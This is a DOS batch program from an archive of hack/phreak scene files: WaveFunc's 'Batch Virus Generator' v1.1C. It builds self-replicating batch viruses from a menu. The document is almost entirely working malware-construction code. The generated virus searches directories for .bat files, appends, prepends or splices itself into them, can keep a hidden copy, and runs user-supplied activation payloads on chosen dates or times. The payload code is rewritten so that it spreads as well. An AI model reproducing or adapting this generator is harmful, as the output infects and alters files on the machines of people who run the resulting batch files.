home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TOOLS.ZIP / BVGEN.ZIP / BVGEN.BAT < prev    next >
DOS Batch File  |  1995-10-25  |  15KB  |  563 lines

  1. ::
  2. :: Batch Virus Generator by WaveFunc  Version 1.1C
  3. :: Creates User-Defined Reproducing Batch Files
  4. :: Requires DOS 6! also SETINVAR.COM and CONVBAT.EXE
  5. ::
  6. :: This batch contains ANSI codes and a few lines that
  7. :: end in spaces (you can't see them but they are vital!)
  8. :: ZIP Then UUE before sending through any email system.
  9. ::
  10. @echo off
  11. if '%1=='BvG goto %2
  12. command /e:5000 /c %0 BvG shell
  13. if exist temp$.bat del temp$.bat
  14. goto end
  15. :shell
  16. :: set these to your favorite programs...
  17. set listprg=SHOW
  18. set editprg=EDIT
  19. :: Yes to use ANSI (if available), No to ignore
  20. set useansi=Yes
  21. :: check memory for ANSI...
  22. :: (it works now...)
  23. if not %useansi%==Yes goto noacheck
  24. mem /c|find "ANSI">nul
  25. if errorlevel 1 set useansi=No
  26. :noacheck
  27. :: Yes if ANSI art has multiparts, No if not...
  28. set multians=Yes
  29. :: Keystrings in the parts
  30. set part1=ApPe
  31. set part2=InSe
  32. set part3=CoM1
  33. set part4=CoM2
  34. :: idiot check
  35. echo.|setinvar temp$.bat>nul
  36. if not exist temp$.bat echo No SETINVAR.COM file!
  37. if not exist temp$.bat goto end
  38. :: defaults NOTE! crashes if data is even slightly incorrect! 
  39. :: type.. 1-appending, 2-prepending,
  40. :: 3-compound vir 1st, 4-compound host 1st
  41. set type=3
  42. :: default search method (search variable set by menu section)
  43. set srch=111
  44. :: findhost.. if Yes finds host along path
  45. set findhost=Yes
  46. :: makecopy.. if Yes uses a hidden file
  47. set makecopy=No
  48. :: limits - specify by number of 1's
  49. set seeks=11111111
  50. set infect=11
  51. :: activations...
  52. set actfile=
  53. set time1=
  54. set time2=
  55. set date1=
  56. set date2=
  57. :: name for cfg and batvir files...
  58. set virname=virus
  59. :: key string for the virus...
  60. set key=ViRuS
  61. :: variables for interface
  62. set space=
  63. set space1=
  64. :: 12 spaces...
  65. if %useansi%==Yes set space=            
  66. :: 24 spaces...
  67. if %useansi%==Yes set space1=                        
  68. :: must be 1 more than max search patterns
  69. set maxsrch=11111111
  70. :: max counts (1 over)
  71. set maxseeks=1111111111111111111111111
  72. set maxinfect=111111111
  73.  
  74. :loadcfg
  75. if not exist %virname%.cfg goto menuclr
  76. copy %virname%.cfg temp$.bat>nul
  77. call temp$.bat
  78.  
  79. :menuclr
  80. if not %useansi%==Yes goto menu
  81. if not exist bvgen.ans goto menuc1
  82. if not %multians%==Yes goto menuc2
  83. ::set anskey=%%part%type%%%
  84. if %type%==1 set anskey=%part1%
  85. if %type%==2 set anskey=%part2%
  86. if %type%==3 set anskey=%part3%
  87. if %type%==4 set anskey=%part4%
  88. find "%anskey%"<bvgen.ans
  89. goto menu
  90. :menuc2
  91. type bvgen.ans
  92. goto menu
  93. :menuc1
  94. echo 
  95. cls
  96.  
  97. :menu
  98. if exist temp$.bat del temp$.bat
  99. :: take power of search away from user - limit choices
  100. if '%srch%==' set search=. .. %%path%%
  101. if '%srch%=='1 set search=.. . %%path%%
  102. if '%srch%=='11 set search=. %%path%%
  103. if '%srch%=='111 set search=*.bat
  104. if '%srch%=='1111 set search=*.bat ..\*.bat
  105. if '%srch%=='11111 set search=..\*.bat *.bat
  106. if '%srch%=='111111 set search=*.bat ..\*.bat c:*.bat
  107. if '%srch%=='1111111 set search=..\*.bat c:*.bat *.bat
  108. ::if '%search%==' set search=. .. %%path%%
  109.  
  110. if %type%==1 if %makecopy%==No set makecopy=Yes
  111. if %type%==1 if %findhost%==Yes set findhost=No
  112. if '%key%==' set key=ViRuS
  113. if '%virname%==' set virname=virus
  114.  
  115. if %useansi%==Yes echo H
  116. if not %useansi%==Yes cls
  117. if not %useansi%==Yes echo.
  118. echo  WaveFunc's Goofy Batch Virus Generator
  119. echo  ======================================
  120. if %type%==1 echo  A  Virus Type:      appending
  121. if %type%==2 echo  A  Virus Type:      inserting
  122. if %type%==3 echo  A  Virus Type:      compound (virus-host)
  123. if %type%==4 echo  A  Virus Type:      compound (host-virus)
  124. echo  B  Name for files:  %virname%
  125. echo  C  Key string:      %key%
  126. echo  D  Infects per run: %infect%
  127. echo  E  Seeks per run:   %seeks%
  128. echo  F  Search Elements: %search%%space%
  129. echo  G  Find Host?       %findhost%%space%
  130. echo  H  Use Hidden Copy? %makecopy%%space%
  131. echo  I  Date Conditions: %date1% %date2%
  132. echo  J  Time Conditions: %time1% %time2%
  133. echo  K  Activation File: %actfile%
  134. echo.
  135. echo  M  Make Batch Virus
  136. echo  N  Save Config File
  137. echo  O  Program notes
  138. echo  P  List this batch
  139. echo  Q  Quit
  140. :getmench
  141. choice /c:abcdefghijklmnopqyz>nul
  142. if errorlevel 5 if not errorlevel 6 goto getseeks
  143. if errorlevel 4 if not errorlevel 5 goto getinfect
  144. if errorlevel 19 goto specialz
  145. if errorlevel 18 goto specialy
  146. if errorlevel 17 goto getout
  147. if errorlevel 16 goto listthis
  148. if errorlevel 15 goto notes
  149. if errorlevel 14 goto savecfg
  150. if errorlevel 13 goto makebat
  151. if errorlevel 12 goto menu
  152. if errorlevel 11 goto a_entry
  153. if errorlevel 10 goto timecnd
  154. if errorlevel 9 goto datecnd
  155. if errorlevel 8 goto togcopy
  156. if errorlevel 7 goto toghost
  157. if errorlevel 6 goto togsearch
  158. if errorlevel 3 goto getkey
  159. if errorlevel 2 goto getname
  160. if errorlevel 1 goto togtype
  161. echo Sorry. Dos 6 required!
  162. goto end
  163. :getout
  164. if %useansi%==Yes echo 
  165. cls
  166. echo.
  167. goto end
  168. :togtype
  169. if %type%==4 set type=x
  170. if %type%==3 set type=4
  171. if %type%==2 set type=3
  172. if %type%==1 set type=2
  173. if %type%==x set type=1
  174. goto menuclr
  175. :getname
  176. echo.
  177. echo Enter name for files (no extension)...
  178. setinvar temp$.bat
  179. call temp$
  180. set virname=%in%
  181. goto loadcfg
  182. :getkey
  183. echo.
  184. echo Enter key string (no more than 7 chars, must be unique)...
  185. setinvar temp$.bat
  186. echo.
  187. call temp$
  188. set key=%in%
  189. goto menuclr
  190. :getinfect
  191. set infect=%infect%1
  192. if %infect%==%maxinfect% set infect=
  193. set var1=%infect%
  194. if '%var1%==' set var1=%space1%
  195. if %useansi%==Yes echo s2H%var1%uA
  196. if %useansi%==Yes goto getmench
  197. goto menu
  198. :getseeks
  199. set seeks=%seeks%1
  200. if %seeks%==%maxseeks% set seeks=
  201. set var1=%seeks%
  202. if '%var1%==' set var1=%space1%
  203. if %useansi%==Yes echo s2H%var1%uA
  204. if %useansi%==Yes goto getmench
  205. goto menu
  206. :togsearch
  207. set srch=%srch%1
  208. if %srch%==%maxsrch% set srch=
  209. goto menu
  210.  
  211. :toghost
  212. if %findhost%==Yes set findhost=x
  213. if %findhost%==No set findhost=Yes
  214. if %findhost%==x set findhost=No
  215. goto menu
  216. :togcopy
  217. if %makecopy%==Yes set makecopy=x
  218. if %makecopy%==No set makecopy=Yes
  219. if %makecopy%==x set makecopy=No
  220. goto menu
  221. :datecnd
  222. echo.
  223. echo Enter first date string...
  224. setinvar temp$.bat
  225. call temp$
  226. set date1=%in%
  227. if '%date1%==' set date2=
  228. if '%date1%==' goto menuclr
  229. echo.
  230. echo Enter second date string...
  231. setinvar temp$.bat
  232. call temp$
  233. set date2=%in%
  234. goto menuclr
  235. :timecnd
  236. echo.
  237. echo Enter first time string...
  238. setinvar temp$.bat
  239. call temp$
  240. set time1=%in%
  241. if '%time1%==' set time2=
  242. if '%time1%==' goto menuclr
  243. echo.
  244. echo Enter second time string...
  245. setinvar temp$.bat
  246. call temp$
  247. set time2=%in%
  248. goto menuclr
  249. :actdire
  250. if exist temp$.bat del temp$.bat
  251. dir /p
  252. :actfile
  253. echo.
  254. echo Enter activation batch filename... (?-dir, m-menu, q-quit)
  255. setinvar temp$.bat
  256. echo.
  257. call temp$
  258. if '%in%=='? goto actdire
  259. if '%in%=='m goto actmenu
  260. if '%in%=='q goto menuclr
  261. set actfile=%in%
  262. if '%actfile%==' goto menuclr
  263. :a_entry
  264. :: add this line after the label :a_entry... (bug)
  265. if '%actfile%==' goto actfile
  266. if exist %actfile% goto actmenu
  267. echo file does not exist - create with %editprg%? (Y/N/Another)
  268. choice /c:yna>nul
  269. if errorlevel 3 goto actfile
  270. if errorlevel 2 goto menuclr
  271. :a_edit
  272. cls
  273. call %editprg% %actfile%
  274. if not exist %actfile% goto menuclr
  275. :actmenu
  276. if '%actfile%==' goto menuclr
  277. if not %useansi%==Yes cls
  278. if not %useansi%==Yes goto am1
  279. if not exist bvgen.ans goto menua1
  280. if not %multians%==Yes goto menua2
  281. find "%anskey%"<bvgen.ans
  282. goto am1
  283. :menua2
  284. type bvgen.ans
  285. goto am1
  286. :menua1
  287. echo 
  288. cls
  289. :am1
  290. if %useansi%==Yes echo H
  291. echo.
  292. echo.
  293. echo  Select...
  294. echo.
  295. echo  1 - View %actfile%
  296. echo  2 - Edit %actfile%
  297. echo  3 - Run %actfile% code
  298. echo  4 - Specify another file
  299. echo  5 - Back to main menu
  300. echo.
  301. choice /c:12345>nul
  302. if errorlevel 5 goto menuclr
  303. if errorlevel 4 goto actfile
  304. if errorlevel 3 goto a_run
  305. if errorlevel 2 goto a_edit
  306. call %listprg% %actfile%
  307. goto actmenu
  308. :a_run
  309. echo Confirm - run this activation code?
  310. choice /c:yn>nul
  311. if errorlevel 2 goto actmenu
  312. set outfile=test$.bat
  313. set return=testact1
  314. goto convafil
  315. :testact1
  316. if %useansi%==Yes echo B
  317. call test$.bat
  318. del test$.bat
  319. echo -- press any key to continue --
  320. pause>nul
  321. goto actmenu
  322.  
  323. :savecfg
  324. echo.
  325. echo Saving config file...
  326. > %virname%.cfg echo set key=%key%
  327. >>%virname%.cfg echo set actfile=%actfile%
  328. >>%virname%.cfg echo set time1=%time1%
  329. >>%virname%.cfg echo set time2=%time2%
  330. >>%virname%.cfg echo set date1=%date1%
  331. >>%virname%.cfg echo set date2=%date2%
  332. >>%virname%.cfg echo set findhost=%findhost%
  333. >>%virname%.cfg echo set makecopy=%makecopy%
  334. >>%virname%.cfg echo set seeks=%seeks%
  335. >>%virname%.cfg echo set infect=%infect%
  336. >>%virname%.cfg echo set type=%type%
  337. >>%virname%.cfg echo set srch=%srch%
  338. >>%virname%.cfg echo set useansi=%useansi%
  339. >>%virname%.cfg echo set multians=%multians%
  340. goto menuclr
  341.  
  342. :makebat
  343. cls
  344. echo.
  345. echo Making batch virus code...
  346. echo.
  347.  
  348. set v=%virname%.ba
  349. if exist %v% del %v%
  350.  
  351. set v1=%%%key%%%
  352. if %makecopy%==Yes set v1=c:\_%key%
  353. set v8=end
  354. if %type%==2 set v8=xt
  355.  
  356. if not %type%==3 if not %type%==4 goto mk1
  357. >>%v% echo @if '%%_%virname%%%==' goto _%virname%
  358. >>%v% echo ::**** HOST ****
  359. >>%v% echo @if not '%%_%virname%%%==' goto %key%end
  360. >>%v% echo :_%virname% %key%
  361. :mk1
  362. if %type%==1 >>%v% echo ::**** HOST ****
  363. >>%v% echo @echo off%%_%key%%%
  364. >>%v% echo if '%%1=='%key% goto %key%%%2
  365. >>%v% echo set %key%=%%0.bat
  366. >>%v% echo if not exist %%%key%%% set %key%=%%0
  367. >>%v% echo if '%%%key%%%==' set %key%=autoexec.bat
  368. if not %type%==3 if not %type%==4 goto mk1a
  369. >>%v% echo set !%key%=%%1 %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9
  370. :mk1a
  371. if not %type%==4 goto mk2
  372. >>%v% echo call %%%key%%% %key% rh
  373. >>%v% echo set _%virname%=}nul.%key%
  374. >>%v% echo set !%key%=
  375. :mk2
  376. if %makecopy%==Yes >>%v% echo if exist c:\_%key%.bat goto %key%g
  377. if %findhost%==No goto mk2b
  378. >>%v% echo if exist %%%key%%% goto %key%fe
  379. >>%v% echo call %%%key%%% %key% h %%path%%
  380. >>%v% echo if exist %%%key%%% goto %key%fe
  381. >>%v% echo goto e%key%
  382. >>%v% echo :%key%h
  383. >>%v% echo shift%%_%key%%%
  384. >>%v% echo if '%%2==' goto %key%%v8%
  385. >>%v% echo if exist %%2\%%%key%%% set %key%=%%2\%%%key%%%
  386. >>%v% echo if exist %%2%%%key%%% set %key%=%%2%%%key%%%
  387. >>%v% echo if exist %%2\%%%key%%%.bat set %key%=%%2\%%%key%%%.bat
  388. >>%v% echo if exist %%2%%%key%%%.bat set %key%=%%2%%%key%%%.bat
  389. >>%v% echo if not exist %%%key%%% goto %key%h
  390. >>%v% echo goto %key%%v8%
  391. >>%v% echo :%key%fe
  392. :mk2b
  393. if %makecopy%==No goto mk2a
  394. if %findhost%==No >>%v% echo if not exist %%%key%%% goto e%key%
  395. >>%v% echo find "%key%"{%%%key%%%}c:\_%key%.bat
  396. >>%v% echo attrib c:\_%key%.bat +h
  397. >>%v% echo :%key%g
  398. :mk2a
  399. if %makecopy%==No if %findhost%==No >>%v% echo if not exist %%%key%%% goto e%key%
  400. set v3=/e:5000 /c
  401. if '%seeks%'%infect%'==''' set v3=/c
  402. if '%seeks%'%infect%'==''1' set v3=/c
  403. echo %search%|find /i "*">nul
  404. if errorlevel 1 >>%v% echo command %v3% %v1% %key% vir %search%
  405. if not errorlevel 1 >>%v% echo command %v3% %v1% %key% vir
  406. >>%v% echo :e%key%
  407. if '%time1%==' if '%date1%==' goto mka5 
  408. if '%date1%==' goto mka3
  409. >>%v% echo echo.^date^find "%date1%"}nul.%key%
  410. >>%v% echo if errorlevel 1 goto na%key%
  411. :mka3
  412. if '%date2%==' goto mka4
  413. >>%v% echo echo.^date^find "%date2%"}nul.%key%
  414. >>%v% echo if errorlevel 1 goto na%key%
  415. :mka4
  416. if '%time1%==' goto mka1
  417. >>%v% echo echo.^time^find "%time1%"}nul.%key%
  418. >>%v% echo if errorlevel 1 goto na%key%
  419. :mka1
  420. if '%time2%==' goto mka2
  421. >>%v% echo echo.^time^find "%time2%"}nul.%key%
  422. >>%v% echo if errorlevel 1 goto na%key%
  423. :mka2
  424. if '%actfile%==' >>%v% echo :: %key% *** put activation code here ***
  425. :mka5
  426. if '%actfile%==' goto mka7
  427. if not exist %actfile% goto mka7
  428. set outfile=outfile.act
  429. set return=mkadone
  430. :: convert actfile so it'll replicate!
  431. :convafil
  432. echo Converting activation file...
  433. echo.
  434. >>temp$.bas echo on error goto getout
  435. >>temp$.bas echo open "%actfile%" for input as #1
  436. >>temp$.bas echo open "%outfile%" for output as #2
  437. >>temp$.bas echo p0:line input #1,a$:if left$(a$,1)=":" then goto p1
  438. >>temp$.bas echo b$=lcase$(a$):if instr(b$,"goto ") then goto p1
  439. >>temp$.bas echo print #2,a$;"%%_%key%%%":goto p0
  440. >>temp$.bas echo p1:print #2,a$;" %key%":goto p0
  441. >>temp$.bas echo getout:close #1:close #2:system
  442. qbasic /run temp$.bas
  443. del temp$.bas
  444. goto %return%
  445. :mkadone
  446. >>%v% type outfile.act 
  447. del outfile.act
  448. :mka7
  449. if '%time1%==' if '%date1%==' goto mka7a 
  450. >>%v% echo :na%key%
  451. :mka7a
  452. if not %type%==3 goto mk3
  453. >>%v% echo call %%%key%%% %key% rh
  454. >>%v% echo set _%virname%=}nul.%key%
  455. >>%v% echo set !%key%=
  456. :mk3
  457. >>%v% echo set %key%=
  458. if %findhost%%makecopy%==NoYes goto mk3j
  459. if %type%==2 >>%v% echo if exist !!%key%.bat del !!%key%.bat
  460. :mk3j
  461. >>%v% echo goto %key%end
  462. if %findhost%%makecopy%==NoYes goto mk3n
  463. if %type%==2 >>%v% echo :%key%xt
  464. if %type%==2 >>%v% echo echo.}!!%key%.bat
  465. if %type%==2 >>%v% echo !!%key%.bat
  466. :mk3n
  467. if not %type%==3 if not %type%==4 goto mk4
  468. >>%v% echo :%key%rh
  469. >>%v% echo set _%virname%=x%%_%key%%%
  470. >>%v% echo %%%key%%% %%!%key%%%
  471. :mk4
  472. >>%v% echo :%key%vir
  473. echo %search%|find /i "*">nul
  474. if errorlevel 1 goto mk4a1
  475. >>%v% echo for %%%%a in (%search%) do call %v1% %key% i %%%%a
  476. >>%v% echo exit %key%
  477. goto mk4a2
  478. :mk4a1
  479. >>%v% echo shift%%_%key%%%
  480. >>%v% echo if '%%2==' exit %key%
  481. >>%v% echo for %%%%a in (%%2\*.bat %%2*.bat) do call %v1% %key% i %%%%a
  482. >>%v% echo goto %key%vir
  483. :mk4a2
  484. >>%v% echo :%key%i
  485. >>%v% echo find "%key%"{%%3}nul
  486. if '%seeks%==' set v2=%key%end
  487. if %type%==2 if %makecopy%==No set v2=%key%xt
  488. if not '%seeks%==' set v2=%key%j
  489. >>%v% echo if not errorlevel 1 goto %v2%
  490. set v2=type c:\_%key%.bat
  491. if %makecopy%==No set v2=find "%key%"{%%%key%%%
  492. if %type%==1 >>%v% echo type %%3}%key%$
  493. if %type%==1 >>%v% echo echo.}}%key%$
  494. if %type%==1 >>%v% echo %v2%}}%key%$
  495. if %type%==2 >>%v% echo %v2%}%key%$
  496. if %type%==2 >>%v% echo type %%3}}%key%$
  497. if not %type%==3 if not %type%==4 goto mk6
  498. >>%v% echo echo @if '%%%%_%virname%%%%%==' goto _%virname%}%key%$
  499. >>%v% echo type %%3}}%key%$
  500. >>%v% echo echo.}}%key%$
  501. >>%v% echo %v2%}}%key%$
  502. :mk6
  503. >>%v% echo move %key%$ %%3}nul
  504. if '%infect%==' goto mk6b
  505. if '%infect%=='1 >>%v% echo exit %key%
  506. if '%infect%=='1 goto mk6b
  507. >>%v% echo set %key%#=%%%key%#%%1
  508. >>%v% echo if %%%key%#%%==%infect% exit
  509. :mk6b
  510. if '%seeks%==' goto mk7
  511. >>%v% echo :%key%j
  512. >>%v% echo set %key%!=%%%key%!%%1
  513. >>%v% echo if %%%key%!%%==%seeks% exit
  514. :mk7
  515. if '%infect%'%seeks%=='1' goto mk7a
  516. if %type%==2 if %makecopy%==No >>%v% echo goto %key%xt
  517. :mk7a
  518. >>%v% echo :%key%end
  519. if %type%==2 >>%v% echo ::**** HOST ****
  520.  
  521. :: use custom filter to convert ^{} to |<>
  522. echo Converting output file...
  523. type %v%|convbat.exe>outfile.dat
  524. ::(remove nul for list60)
  525. type outfile.dat>%v%
  526. del outfile.dat
  527.  
  528. :: view output with list program
  529. call %listprg% %v%
  530. goto menuclr
  531.  
  532. :listthis
  533. set this=%0.bat
  534. if not exist %this% set this=%0
  535. if exist %this% %listprg% %this%
  536. goto menuclr
  537. :notes
  538. if exist bvgen.txt %listprg% bvgen.txt
  539. goto menuclr
  540.  
  541. :specialy
  542. echo.
  543. choice /c:yn /t:n,02 Change UseAnsi setting?
  544. if errorlevel 2 goto menuclr
  545. if %useansi%==Yes set useansi=x
  546. if %useansi%==No set useansi=Yes
  547. if %useansi%==x set useansi=No
  548. if %useansi%==No echo 
  549. goto menuclr 
  550. :specialz
  551. echo.
  552. choice /c:yn /t:n,02 Change MultiAns setting?
  553. if errorlevel 2 goto menuclr
  554. if %multians%==Yes set multians=x
  555. if %multians%==No set multians=Yes
  556. if %multians%==x set multians=No
  557. goto menuclr 
  558.  
  559.  
  560. :end
  561. ::*********** END ************
  562.  
  563.